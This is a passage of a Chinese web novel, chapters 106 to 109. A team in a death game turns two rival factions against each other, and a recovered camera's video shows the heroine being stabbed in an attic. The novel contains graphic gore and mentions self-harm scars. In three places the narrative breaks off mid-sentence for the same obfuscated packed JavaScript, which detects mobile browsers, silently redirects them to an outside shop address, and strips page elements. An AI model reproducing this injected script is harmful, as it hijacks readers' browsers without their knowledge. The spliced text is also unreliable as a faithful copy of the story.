初与序又重复了一遍:“止痛药。” 【说了无法兑换就是无法兑换,那人家江意在永冬之城的五年不都是这么过来了?没有止疼药就只能忍,你想救他……】 “砰!” 系统的话还没说完,初与序的拳头已经狠狠砸在光屏上。面板剧烈闪烁,发出刺耳的电流杂音: 【警告!玩家攻击系统,将受到惩罚……】 “砰!” 第二拳更重,面板“咔嚓”一声裂开一道缝隙,系统的机械音变得慌乱: 【等等!停手!停手!】 初与序的手已经渗血,她面无表情再次抬手。 【给!给你!!】 系统尖叫着弹出一个物资箱,“啪嗒”一声掉在地上。箱子里躺着一支止痛药剂,旁边甚至还附赠了一卷绷带。 初与序弯腰捡起药剂,冷冷地瞥了一眼面板。 【……记得给个好评。】 初与序转过头,江意罕见地错愕地看着自己,似是没料到她的举动。见他没动作,初与序直接掰开他的嘴,把药剂灌了进去。 江意呛了一下,药液滑过喉咙,灼烧般的疼痛终于开始缓解。他微微抬眼,看着初与序:“谢…谢谢。” 初与序摇摇头,将绷带递给他。 “我们走?”江意问。 “在这里等天亮就行。”初与序淡淡道。 106.求求你们互相背刺吧 随歌蹲在通风管道里,竹扇轻轻扇着风,一脸嫌弃地捏着鼻子。 “冬逢初啊,你说这管道里怎么一股子死老鼠味?”他压低声音,对身后的冬逢初挤眉弄眼,“该不会真有老鼠死在这儿吧?” 冬逢初无奈地看了他一眼,随后低头,手指抚上泛着红光的颈环。随着他的动作,颈环的红光慢慢转变成蓝色,而他也从猫阵营转变成鼠阵营。 “……我们就是老鼠。”他温温柔柔地提醒。 “哦对!”随歌一拍脑门,竹扇差点脱手,“差点忘了咱们现在就是过街老鼠,人人喊打!” 冬逢初叹气,但嘴角微微上扬:“你小点声。” 话音未落,目标出现了。 两只叛变的老鼠鬼鬼祟祟地从下方走廊经过,正是之前出卖初与序的那两人。他们缩头缩脑,时不时往后看,生怕被屠宰场的人灭口。 随歌眼睛一亮,立刻用竹扇戳了戳冬逢初:“看我的!” 他故意把竹扇往管道边缘一撞,“哐当”一声巨响,吓得下面两人差点跳起来。 “谁?!”其中一人惊恐抬头。 随歌立刻压低声音,假装惊慌失措:“嘘——!别出声!屠宰场的人在追杀我们!” 冬逢初配合地轻咳一声,虚弱道:“我们刚从林海手里掏出来…他、他们在仓库集合,说要清理叛徒……” 两人的脸色瞬间惨白:“林海在仓库?” 随歌“惊慌”地点头:“对对对!他们还说,要把叛变的老鼠们都宰了!”他浮夸地抹了把不存在的汗,“你们快跑吧!别往仓库去了!” 冬逢初补充道:“他们人很多,所有成员全都带着武器。” 下方两个人对视了一眼,转身就跑,直奔仓库。 等他们跑远了,随歌终于憋不住笑出声:“哈哈哈哈他们信了!他们真的信了!” 冬逢初摇摇头没说话,眼里带着笑意。 随歌竹扇一展开,得意扬扬:“这叫演技派,走走走,赶紧去跟景明垂汇合,准备收网!” 此时此刻,景明垂独自穿行在昏暗的走廊间,指尖的琴弦在月光下泛着伶俐的光。 她脚步很轻,每一步都精准避开会发出声响的碎玻璃和翘起的地板。来到计划中的伏击点,即连接仓库和医疗室的T字路口,她停下脚步,安静地倾听周围任何声响,确认四周无人。 “十米走廊,三个拐角……”她低声自语,手指灵活地翻动着琴弦。 第一根金丝被绷在离地二十公分的阴影处,细得几乎隐形,却足以割断成年人的脚筋。第二根缠绕在消防栓把手上,只要有人试图取用,就会触发机关。最致命的是横管走廊上方的第三根,它连接着天花板摇摇欲坠闪电吊灯,末端系着一把锈迹斑斑的钢管。 忽然,身后传来“咔”一声。 她瞬间回头,转角处,一只真正的动物老鼠正啃食着不知名的腐肉。景明垂松了口气,继续布置着最后一道陷阱。她将琴弦缠绕在门把手上,另一段系着几片锋利的碎玻璃。 远处突然传来急促的脚步声,景明垂身形一闪,隐入墙角的阴影中。只见那两个叛变的老鼠慌慌张张地跑过,完全没注意到头顶悬着的死亡之网。 “快!林海他们在仓库!”其中一人压低声音喊道:“我们得感觉告诉杜明。” 景明垂目送他们奔向医疗室方向,手指轻轻波动琴弦,随后退向预订汇合点。 “搞定了?”随歌压低声音,竹扇兴奋地晃了晃,“那群蠢货上钩啦!” 景明垂点头,手指向两个老鼠跑走的方向一划:“那两人去报信了,杜明应该很快会带人过去。” 冬逢初温润的眉眼在月光下显得格外沉静:“林海那边?” “在仓库,陷阱已就位。” 与此同时,医务室内的气氛剑拔弩张。 杜明猛地砸碎手中药瓶,玻璃碎片飞溅到两只老鼠脸上:“你们再说一遍?!” “千、千真万确!”瘦子男人捂着脸后退,“林哥他们在仓库集合,说要…要清理叛徒…” 杜明胸口剧烈起伏,脖颈上的红环忽明忽暗。他身后三名屠宰场成员交换着眼神,拿砍刀的光头悄悄后退了半步。 “好啊…”杜明忽然阴森森地笑了,“我早该知道林海这个杂种会反手。”他一把揪住报信男人的衣领,“带我去找他!” 走廊上,屠宰场的分裂已经开始。 “杜明。”光头突然停下脚步,“会不会是陷阱?林哥平时最恨背叛…” 杜明回手就是一耳光:“那你现在就去跟他啊!你们可别忘了是谁给你们分的‘肉’!要不是我,你们现在早就饿得没力气站起来了!” 拿铁钩的女人小声嘀咕:“可上次的‘肉’明明是林哥猎到的…” 杜明的眼神瞬间阴冷,他慢慢举起改装过的针筒,里面晃动着诡异的紫色液体:“你再说一遍?” 队伍瞬间安静下来,两只带路的老鼠吓得瑟瑟发抖。 “走!”杜明一脚踹开挡路的光头,“等宰了林海,老子亲自分‘肉’!” 他们不知道的是,通风管道内,随歌憋笑憋得浑身发抖:“打起来打起来!” 冬逢初无奈:“其余队伍得知消息了吗?” “他们一会就会来。”景明垂肯定道。 三人看着杜明等人来到仓库,仓库内,昏暗的灯光下,林海正擦拭着染血的刀,断脚的壮汉靠在墙边,脸色惨白。 突然,仓库门被踹开!杜明站在门口,身后跟着三名屠宰场成员,以及那两名瑟瑟发抖的叛变老鼠。 空气瞬间凝固。 林海眯起眼,锯齿刀在掌心转了一圈:“杜明?你不是应该在医务室养伤吗?来这里干什么?” 杜明没说话,只是冷冷地盯着他,苍白的脸上浮现出一丝病态的潮红。他身后的光头忍不住开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16342957|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口:“林哥,听说你要清理叛徒? ” 林海一愣,随即嗤笑:“放什么屁?”他目光扫向那两个老鼠,眼中杀意骤起,“是你们俩在搞鬼?” 两个老鼠腿一软,直接跪下了:“不、不是我们!是一个黄毛和另一个戴着耳骨夹的男的说……” 话未说完,仓库另一侧的门突然被暴起破开! 十几个玩家手持各式武器冲了进来,眼神凶狠。他们有的是被屠宰场虐杀过队友的老鼠,有的是看不惯林海作风的其他猫。 “林海!杜明!”为首的男人怒吼,“今天就是你们的死期!” 混战瞬间爆发!砍刀劈向铁链,匕首刺穿手臂,鲜血飞溅在墙面上。杜明举起针筒,却被一名玩家一棍砸在手腕上,针筒摔碎在地。光头男刚举起砍刀,就被三把匕首同时捅进腹部。铁钩女人尖叫着挥动武器,被仇恨的玩家们一拥而上,推倒在地。 林海和杜明被迫背靠背应敌,但看向彼此上眼神中全是猜忌。 “你个死人阴我?”林海咬牙。 杜明咳嗽两声,嘴角溢出血丝,“是你他妈先动手!” 而通风管道内,随歌、景明垂和冬逢初并排坐着,悠闲地透过缝隙观战。随歌从面板里掏出三瓶草莓牛奶,笑眯眯分给两人:“来来来,看戏必备。” 冬逢初接过,景明垂面无表情插上细管,喝了一口,评价:“太甜了。” 随歌咂咂嘴:“这可是限量版!我好不容易从意哥家里偷出来的!”他又掏出一包瓜子,抓两把塞到身边两人手里,“哎二位,你们说初与序和意哥会不会骂我们摸鱼?” 冬逢初接过瓜子:“她说,活着回来就行。” “她啥时候说的?”随歌转向冬逢初。 冬逢初抬起手,修长白皙的手指隔空轻轻点了点右耳的耳骨夹:“刚刚。” 随歌:“……” 景明垂:“……” 下方,仓库内的厮杀愈演愈烈。天色渐亮,猫和老鼠的界限彻底模糊。有老鼠和猫临时联手对抗屠宰场,也有同阵营的玩家突然背刺队友。 血腥的厮杀从仓库蔓延至走廊,十几人在狭窄的过道中疯狂砍杀,刀光剑影间血肉横飞。 林海的锯齿刀捅穿了一个玩家的腹部,肠子顿时涌出,但他还未来得及拔刀,就被另一人的铁棍砸中肩膀,骨头发出碎裂声。杜明靠在墙壁剧烈咳嗽,嘴角不断渗血,却仍用手射出毒针,将靠近的敌人眼球刺穿。 断脚的壮汉拖着残害,用消防斧劈开一人闪电头颅,脑浆溅在墙上。而那只叛变的老鼠则被自己的同伴误伤,喉咙被割开,捂着脖子在地上抽搐。 “我说景明垂,你啥时候动手?”随歌晃着牛奶瓶,感叹,“我看他们打架都要看睡着了。实在不行我先在这里睡一觉?等你动手了再叫我。” 景明垂默默喝完最后一口,把空瓶塞回面板里。 “现在。” 107.求求你们互相背刺吧 景明垂的指尖一勾,第一根琴弦发出嗡鸣。绷在拐角处的琴弦骤然收紧,冲在最前面的光头双脚齐膝而断,庞大的身躯轰然倒地,正好压碎了地上暗藏的玻璃陷阱。 “啊——!!” 惨叫声还没有落下,天花板的吊灯轰然坠落,生锈的钢管如断头台的刀,将两名缠斗中的玩家直接钉穿在地。鲜血顺着钢管上的螺纹喷涌而出,在晨光中划出弧线。 杜明猛地抬头,病态苍白的脸上终于浮现惊恐:“撤!快撤!” 但是太迟了,第二道机关应声触发,消防栓突然爆裂,高压水柱混合着景明垂早前注入的腐蚀性液体,将三名玩家的脸瞬间溶出白骨。他们捂着脸疯狂挣扎,却撞上了第三道。 横管走廊的琴弦划出一道金光,两颗头颅高高飞起,惊恐的表情还凝固在脸上。 林海不愧是老手,在琴弦袭来的瞬间仰头避过。但断脚壮汉就没这么幸运。金丝缠过他的脖颈,景明垂手腕一抖,那颗头颅便像熟透的果实般滚落在地。 “景明垂!!!”林海目眦欲裂,锯齿刀劈向琴弦。 金属碰撞的火星四溅,景明垂从通风管道一跃而下,琴弦交织成网。林海疯狂挥刀格挡,却仍被金丝在脸上割出深可见骨的血痕。 随歌的竹扇猛地展开,积蓄已久的狂风灌入走廊。破碎的玻璃、断裂的武器、甚至飞溅的血滴都化作致命凶器。冬逢初的长剑在风暴中精准刺出,将最后一名挣扎的屠宰场成员钉在墙上。 杜明咳着血想逃,却被一道金丝缠住脚踝。他回头一看,只见景明垂站在血泊中,长发垂腰,指尖金光闪烁。 琴弦收紧的瞬间,晨光终于穿透云层。整条走廊铺满残肢断臂,血水顺着地板缝隙滴落,在下层天花板绽开一朵朵猩红的花。 通风管内,随歌喝完草莓牛奶,满意道:“收工~” 同时,天台的铁门被推开,初与序拖着江意走下楼梯:“游戏快结束了。” 晨光透过破碎的窗户洒在走廊上,江意的脸色依旧苍白,但意识已经清醒了不少。他胳膊搭在初与序肩上,机械手环的能量恢复了一点点,此刻一闪一闪的。 然后,走廊尽头的阴影里,齐无尽转过身。 他手里的黑桃牌还在滴血,脚步躺着两具刚断气的尸体。脸上还留着从初与序几拳砸出来的淤青,染血的风衣下摆微微晃动,看不出任何表情。 两人的目光撞了个正着,初与序下意识抽出短刀,而齐无尽的手也摸上另一张黑桃扑克牌,两人随时准备出手,杀意在空气中无声碰撞。 直到—— “……你们在干什么?” 江意的声音打破寂静,他的视线落到齐无尽身上,语气有一丝意外:“你怎么伤这么重?谁能把你打成这样的?” 齐无尽沉默两秒,面无表情道:“你的好队友。” 江意看向初与序:“……” 初与序:“……” 最终,两人放弃了在江意面前动手的打算。初与序收刀入鞘,齐无尽也放下了抽牌的手,走上去,自然而然地接过江意,架在自己肩上。 六人顺利汇合,下一秒,系统的广播声响起: 【第三场游戏存活人数:8/315】 【游戏结束,正在传送……】 初与序感觉眼前一黑,再睁眼时,已经回到了最初被火烧成废墟的宿舍,空气中弥漫着血腥味。 “结束了吗……”随歌有气无力道。 “结束了。”冬逢初淡淡回答。 “恭喜八位存活者。”执行官走进来,似乎对这个存活人数很满意,“团队积分和奖励品已经发放到队长面板里。各位可以回永冬之城医院处理伤了,祝各位一切顺利。” 八人的颈环光芒熄灭,自动脱落,在他们脖子上留下一片红痕。整个宿舍一片死寂,只剩下痛苦的呻吟和低沉的呼吸。 冬逢初勉强支撑着身体,左手扶着江意,后者嘴角还溢出鲜血。随歌的状态稍好,但也满脸是血。景明垂重新扎起双马尾,用撕碎的衣料暂时包扎伤口止血。 齐无尽站在远处,红发在灯光下像一簇燃烧的火。他意味不明地看了初与序一眼,似乎是没找到自己想知道的答案,转身率先离开。 团队赛结束的钟声响彻永冬之城,积分榜最终定格: 【幸存团队名单】 「1.拯救世界顺便偷草莓牛奶计划组(5人全员存活)」 「2.***(齐无尽单人队存活)」 「3.花暗(2人存活)」 论坛在四天内第三次崩溃,执行官疯狂删帖都压不住爆炸的讨论: 【热帖】《屠宰场十八杀全军覆没!团队队长什么时候亲自下场?》 【楼主】:历史性时刻!楼主全程跟直播,意哥团队反杀屠宰场派来的所有追杀者!现在问题来了——屠宰场队长和二把手会认栽还是不死不休? 【热评1】:认栽?你忘了上届冠军被他们追杀到精神崩溃的事了? 【热评2】:但这次提到铁板了啊!五人全是高层玩家,初与序还是能杀执行官的玩家! 【热评3】:内部传闻,屠宰场二把手刚才砸了三个训练场… 而在论坛激情讨论时,永冬之城医院整层楼亮起红灯。八名幸存者全部挂彩,断胳膊的断胳膊,断腿的断腿。 江意和景明垂一个受胃癌影响,一个伤得太重,直接被推进手术室。初与序则因与齐无尽的对决,以及和屠宰场玩家打斗,失血过多,准备输血。 “血量库存不足!”护士忽热冲出来,焦急地大喊。 “抽我的,我和她血型一样!”冬逢初直接扯开袖子,针头刺入血管时,他盯着手术室的红灯,“阿序右眼畏光,请别用无影灯直照,谢谢。” 走廊另一段,随歌一脚踹开齐无尽的病房门。 “你他妈和初与序打架?!”随歌揪起齐无尽的衣领,“她是我们队的你不知道?” “你有病吗?”齐无尽一把拍开他,甩出自己刚拍的X光片。上面肋骨断了两根,左肩胛骨粉碎性骨折,“看看初与序干的,她打起来不要命,我伤得比她还重!” 随歌:“……那你活该!” 输血室的门被推开,冬逢初脸色苍白地走出来,衣袖卷起的手臂上还贴着止血棉。他和齐无尽的视线相撞的瞬间,整个走廊的温度降至冰点。 “喂喂…”随歌一个箭步冲到两人中间,张开手臂,“这里可是医院,你们可别打架!”他转向冬逢初,“初与序肯定不希望你在这儿跟人动手,有什么仇以后再说。” 冬逢初的目光依旧钉在齐无尽身上,但最终他什么都没说,转身走向护士站。走廊里的压迫感顿时消散。 齐无尽冷笑一声,低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16342958|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头继续缠绷带。 随歌长舒一口气,瞥见冬逢初的身影在护士站前微微晃了一下,连忙追过去:“你没事吧?抽了多少血啊?” 冬逢初摆摆手示意无碍。 随歌点点头,又想起来什么:“唉,不过你咋知道你和初与序的血型一样?” “面板上有个人身体信息资料,之前留意了。”冬逢初回答,看着医生撕开自己腹部的绷带。那里有一道深可见骨的撕裂伤,是被屠宰场几人围殴时受到的。 “看着就疼。”随歌咬牙道,又盯着冬逢初轮廓分明的腹肌线条,忍不住问,“靠,你这怎么练的?别告诉我是过副本练的。” 过了半天,冬逢初都没回答。他抬头一看,发现冬逢初目光虚浮地落在医疗室惨白的墙壁上,仿佛透过那里看到了别的什么。 “冬逢初?”随歌在他眼前晃了晃手,“想什么呢这么入神?” “阁楼。”冬逢初回过神,“时光之书里的阁楼,为什么我进入阁楼后受到了严重反噬。” 随歌想起了上次五人进入时光之书时的场景。他的表情渐渐严肃起来,抓过一把旋转椅坐下,难得正经地竖起两根手指:“两种情况。要么是你体质特殊,对时光之书的能量天然排斥。毕竟那玩家是从副本里拿出来的。” “要么,”随歌压低声音,“就是你、或者和你相同频道的人,曾经在那里发生过极其糟糕的事。”他指了指太阳穴,“即使你现在失忆了,身体还记得。” 窗外的寒风拍打着玻璃,医疗仪器的滴答声突然变得很响。 “对了。”随歌问道,“你进入阁楼后,第一眼看到的是什么比较具体的东西?” “血。”冬逢初脱口而出,随即自己都愣住了,“…很多血。” 随歌沉默一会,小心翼翼凑过来,伸手轻轻戳了戳冬逢初左手手腕处: “上次在《死亡电梯》副本里给你治疗,不小心看到了你这里有疤,非常抱歉。进入阁楼后,你的伤疤莫名裂开流血。我在想。能量反噬会不会和这些疤有关?” “哦当然,我和意哥没让初与序和景明垂知道。” 冬逢初缓慢地转动左手腕,疤痕在白皙的皮肤上交错,边缘整齐,明显是自己用利器切割出来的痕迹,看上去过去了痕迹,但疤痕没淡下去。 “我不记得。” 这是实话,从他进入永冬之城D019次列车开始,记忆就像被硬生生挖走了一块。后来,他在D栋1703洗澡时,才注意到自己身上的伤疤。其中,左手腕内侧的割痕最明显。 而身上其他地方还散步着一些更淡的痕迹,有被人殴打出来的淤青,已经泛白的圆形烫伤,割伤后又用粗糙针线缝合的疤。 当时,热水从花洒喷涌而出,蒸汽模糊了镜面,却抹不去这些刻在皮肤上的疤。冬逢初试图洗淡那些伤疤,仿佛这样就能找回什么,但脑海中只有一片空白。 就像此刻,“为什么自己进入阁楼会受到反噬”这个问题像石子投入深井,却听不见半点回响。 “我有个猜测。”随歌压低声音,“你说有没有可能,你进永冬之城前是某个组织的实验题?或者机器人?” “……”冬逢初无奈:“有点太扯了。” 手术室的灯由红转绿,打断了两人的对话。冬逢初站起身,病号服袖子话落,恰到好处地遮住了那几道苍白的疤痕。 108.奇奇怪怪的录像机 茫茫雪原上,一座宫殿建立在那里,大雪纷飞,寒风呼啸。 苍白的雪片拍打在宫殿的窗户上,发出细碎的声响。殿内,壁炉里的火焰燃烧,却仿佛被某种力量压制,只透出幽蓝的冷光。 二十多位执行官蓝制服管理员围在长桌两侧,激烈争吵,声音几乎掀翻穹顶: “这一批玩家太异常了,必须再这样下去,永冬之城会崩溃!” “说得轻松,有本事你自己下去,把这一切终结!” “各位都别吵了,等妄主来了,看看祂的意思!” 黑色制服的执行官们如同雕塑般立于殿柱旁边,余光时不时瞥向紧闭的鎏金大门。 “吱呀——”一声,宫殿大门被从外推开,风雪裹着寒意卷入大殿,争吵声戛然而止,所有人猛地站起身,目光齐刷刷投向门口。 一道身影立在风雪中。 妄主踩着雪走进来,冰蓝色斗篷下摆扫过地面,上面刺绣着蓝紫色的勿忘我花纹。祂苍白的手指抬起,抚落兜帽,露出一张苍白的脸,睫毛上沾着未化的雪粒,瞳孔是冰蓝色的。 站在门口的执行官低头问好:“妄主。” 祂颔首,径直走向高座,斗篷拂过台阶时凝结出细小的冰凌。随后长腿交叠,食指指关节轻叩桌面:“各位请坐吧。” 声音很轻,管理员们齐刷刷落座,连呼吸都放轻了,没人敢先开口。 妄主的目光扫过众人,唇角微勾,笑意却不达眼底。 “抱歉,来晚了。”祂的嗓音冷倦,“刚刚才醒来,和初一去处理了点事情。” “十八年到了。”祂的手指抵着太阳穴,轻轻揉了揉,似是很疲惫。 管理员们神色各异,一位执行官捧上几份记录资料。妄主伸手接过,简单翻了几页,合上资料:“看来这一批玩家进度很慢。” 空气顿时凝固。 “老规矩。”祂微微倾身,手肘撑着膝盖,十指交叠,“我创造了永冬之城,把这么多人困在这里,他们都会死在这里。” “我不逼你们留下,如果有人想回现实,现在走还来得及。过了今天,以后十八年都出不去。” 无人动弹。 管理员们互相交换眼神,却没人站起来,坚定地坐在座位上。 直到,一个卷发管理员站了起来,椅子在地毯上摩擦出沉闷的声响,他抬起头,直视妄主:“这一次,我要走。” 妄主看都不看他:“唯独你不行。” “为什么?”青年皱眉,身体提高,“我已经在这里呆了几千年了!” “因为你是例外,你很有用。”妄主冷冷道,“别问了,坐下吧。” 青年没动,两人的目光在空气中交锋。最终,妄主叹了口气。 “别让我说第二遍。” 祂的声音依旧很轻,可那一瞬,宫殿内的温度骤降。烛火猛地摇晃,阴影爬上墙壁。青年身边的管理员悄悄在桌下肘了他一下,示意他坐下。 青年的肩膀微微绷紧,但终究还是坐了回去。 妄主靠回椅背,指尖点了点桌面:“后面的事,照常进行。” “妄主!”一位管理员又站起来:“可是初与序竟然失忆……” “没有可是。”妄主站起身,“你们只需要继续阻止初与序,保护永冬之城。但记住,不能直接杀死任何玩家,否则会触发反噬,管理员权限失效。” 管理员的眼中闪过困惑,但妄主已重新戴上兜帽,阴影笼罩了半边脸。 “散会。” 风雪再次涌入,祂的身影已然消失。 初与序睁开眼睛时,病房的窗帘缝隙正透进一缕苍白的晨光。喉咙干涩得像是吞了一把沙子,她勉强支起身子,动作牵动了身上的伤口,疼得眼前发黑。 左侧病房上景明垂安静地沉睡,右侧的江意还戴着氧气面罩,但监护仪上的心跳线已经趋于平稳。 她调出系统面板,半透明的蓝色光幕在眼前展开: 【玩家ID:初与序】 【团队赛最终奖励结算:】 「积分:+1750(当前总积分:2025)」 「特殊道具:高级止血剂??3,暴击增幅器(24h内攻击力+30%),记忆碎片??1(随机解锁一段过往记忆)」 初与序的目光在“记忆碎片”的图标上停顿片刻,心说有这些奖励品,参加团队赛也算值了。 窗外传来脚步声,她关闭面板。冬逢初推门而入,手里端着三杯冒着热气的水,将其中两杯放到江意和景明垂的床头,把剩下一杯塞到初与序手里,顺手轻轻揉了一下她的头发。 下一秒,病房窗户突然被撞开,一团黄澄澄的影子炮弹般射进来: “哥几个我想死你们啦——唔!” 冬逢初眼疾手快,一把将火腿面包抄在手里,另一只手死死捂住它的芝麻粒“嘴”。面包在他掌心扭来扭去,果酱差点蹭到他绷带上。 “安静点。”冬逢初压低声音,“意哥和景明垂还没醒。 火腿面包眨巴着芝麻眼睛,乖巧地点点头。等冬逢初松开手,它立刻用气音夸张地表演:“天——呐——你们——没——看——暗网——吗——” “什么?”初与序问。 “屠宰场正在悬赏你们两个,还有景明垂的人头,价格已经炒到一个人一万积分。”面包继续用气音尖叫,“不过暂时没人敢——” “咚。” 景明垂的枕头精准命中面包,把它砸进了垃圾桶。少女不知何时已经坐起身,不耐烦道:“吵死了。” 江意缓缓展开眼,无奈地看着垃圾桶里的面包。 随歌叼着馒头晃进来,手里拎着给几人带的早饭:“正常,毕竟咱们把屠宰场十八人团灭,他们的队长现在恨死我们了。”他把塑料袋往桌上一倒,“刚刚做的早饭,清淡的。” 景明垂精准接住随歌抛来的豆浆,将细管插进去:“永冬之城禁止自相残杀,要杀我们必须进入副本。没多少人愿意冒险接单。” 江意靠着床头坐直身体,掀开氧气罩。苍白的手在系统面板上轻点几下。 【团队赛重要奖励:记忆载体旧物归还】 随着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16342959|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道微光闪过,一台落满灰尘的相机凭空出现在他手中。黑色的机身表面覆盖着厚厚的灰,像是从某个尘封多年的置物柜深处刚被挖出来。 “这…”江意难得露出困惑的表情,用病号服袖子擦了擦相机表面的灰尘。 几人凑过来观察,相机的金属外壳上布满了细密的划痕,镜头边缘还有一道明显的磕碰凹痕,像是用了很多年。 “卧槽!”随歌突然从椅子上弹起来,差点打翻豆浆,“这他妈不是跟我的一模一样吗?” 他手忙脚乱地从面板里掏出自己的相机,那台之前在病房拍摄了五人照片,还记录了他们在海边约定未来的相机。两台相机并排放在病床小桌板上,所有人不由得愣住。 完全一致。 除了新旧程度和磨损痕迹,从型号到细节,甚至侧面的序列号刻痕字体都完全相同。 “见鬼了?”随歌来回翻看两台相机,“我们辛辛苦苦获得的重要物品,是未来会变成这样的我的相机?” 初与序伸手拂过那台尘封的相机,手上沾了一层细灰:“能开机吗?” 江意按下电源键,相机毫无反应。他翻过相机,指着电池仓:“看型号,应该是NP-FW50电池。 “我这款相机是在永冬之城黑市淘的,如果找到当初那个摊主,说不定能搞到电池。”随歌抓了抓头发。 景明垂用看傻子的眼神看向他:“你直接把你相机的电池换过来试试就可以了。” “……对哦!” 随歌立刻拿起自己的相机,动作麻利地打开电池仓取出电池。冬逢初接过那台落满灰尘的相机,轻轻一推卡扣。 电池仓顺利打开,里面的构造果然和随歌的相机一模一样。随歌把电池塞进去,按下开机键。 “滴——” 相机屏幕亮起,镜头不明显地闪过一道蓝光,就像是在回应什么。 …… 江意的手指划过屏幕,灰尘簌簌落下。他打开相册,里面整整齐齐排列着554张照片,和一个视频文件。 “照片?”火腿面包好奇地凑过来,点开第一张。 照片加载出来,上面显示——永冬之城中央礼堂,初与序站在演讲台上,手里拿着打火机,正抵着《永冬之城规则守则》的书角。纸张已燃起幽蓝火焰,而她眼眸中的冷光比火焰更甚。台下,江意、冬逢初和随歌站在那里。 五人顿时愣住,江意快速滑动屏幕,接下来的照片如潮水般涌来: 有四人站在副本里厮杀的,有他们在永冬之城生活的,甚至还有他们 D19等几位执行官私下交谈的。 每一张都鲜活如昨,每一张都…没有景明垂的身影。 “这不可能。”随歌声音发紧,指着其中一张,“这是《十只兔子》副本场景,景明垂和我们一起打的!” “翻到最后一张。”初与序说。 江意翻到第554张,这张照片看上去是四人通关某个副本后的结算画面:他们站在雪山高处,身上有因为副本打斗留下来的轻微伤痕。 但,依旧没有景明垂。 109.哦买嘎! 冬逢初出声提醒:“看看视频。” 江意点头,打开视频,按下播放键。 视频开始播放时,整个画面浸没在浓稠的黑暗里,只有粗重的呼吸从扬声器里传出,伴随着衣物摩擦的窸窣响动。镜头剧烈晃动,像是有人正在狭小的空间里艰难调整着相机角度。 突然,一束微弱的光线刺破黑暗,照出一只苍白的手。指尖沾着新鲜的血液。那只手正将几本厚重的书籍堆叠在镜头前,书本倾斜的角度恰好露出缝隙,成为隐蔽的观察口。 下一秒,一张熟悉的脸闯入画面。 初与序苍白的面容离相机不远,她依旧是淡漠的面容,右眼灰蒙蒙一片,右耳戴着银色耳骨夹,长发及腰,穿着血迹斑斑的白衬衫。暴露的手臂上布满淤青和疤痕,有些伤口还在渗血,明显是刚经历了一场恶战。 她在藏相机。 这个念头闪过的同时,画面中的初与序后退两步,露出身后阴森的空间。低矮的木质斜顶,布满纸张的墙壁,这显然是个阁楼。昏黄的光线从唯一的气窗透进来,照出空气中漂浮的尘埃。 就在这死寂的一秒。 一道黑衣从她背后无声浮现! 高大的蒙面男人如鬼魅般闪现,手中短刀寒光一闪,以精准到可怕的角度,直直刺入初与序右侧颈动脉附近! 刀刃没入血肉的闷响通过扬声器炸开! 初与序的表情甚至没有变化,只是睫毛微微颤动了一下。她缓缓跪倒,手指捂住喷血的伤口,白衬衫转眼间被染成血色。 她想说什么,喷涌而出的鲜血堵住了所有声音。猩红的液体呈扇形喷射,有几滴溅在镜头上,将一小片染成血色。 男人硬生生拔出刀,冷漠地看着初与序缓缓倒地,鲜血在她身下迅速聚成暗红色的湖泊。他俯身探了探她的鼻息,随即转身离去,靴子踩过血泊发出黏腻的声响。 视频最后定格在一道缓缓关闭的门缝上。 【播放结束】 黑暗重新笼罩屏幕,病房里一片死寂,只剩下医疗仪器发出的单调“滴滴”声。 随歌咽了咽口水:“靠…这、这不对吧?” 所有人的目光如刀般刺向初与序,初与序僵在原地,死死盯着已经黑屏的相机。她的右手不自觉地捂住脖子右侧,那里光滑完好,却仿佛能感受到视频里那把短刀刺入的剧痛。 指腹下的脉搏正疯狂跳动,与视频里“自己”逐渐微弱的生命体征形成可怖的反差。 “那不是我。”她终于开口,“我现在活的好好的。” 景明垂伸手拿过相机,将视频重新播放,画面定格在最后那个昏暗的阁楼全景:“眼熟吗?” 五人同时倒吸一口冷气。 倾斜的木梁、独特的八角形气窗、甚至布满写着字的白纸的四面墙壁。正是时光之书里那个阁楼! 冬逢初站起身,拍了下随歌的肩膀:“我们俩一起去黑市。” “找那个卖我相机的摊贩?”随歌立刻会意,却在看到初与序掀被子的动作时按住她,“祖宗!你在这里好好待着!” 初与序淡淡道:“我也去。” “想都别想。”随歌夸张地比划着,“要是医生发现我们带着重伤员乱跑,会把我和冬逢初揍成潮汕牛肉丸的!” 初与序张张嘴,重新回到床上。 冬逢初已经走到门口,回头看了一眼初与序,温声安抚:“我们马上回来。” 随歌跟上去,和冬逢初走出医院。 永冬之城的黑市藏在D区最边缘的巷弄里,潮湿的空气中弥漫着劣质机械油和地下食物的古怪气味。两人穿过拥挤的摊位,最终停在一个堆满电子废品的铁皮棚前。 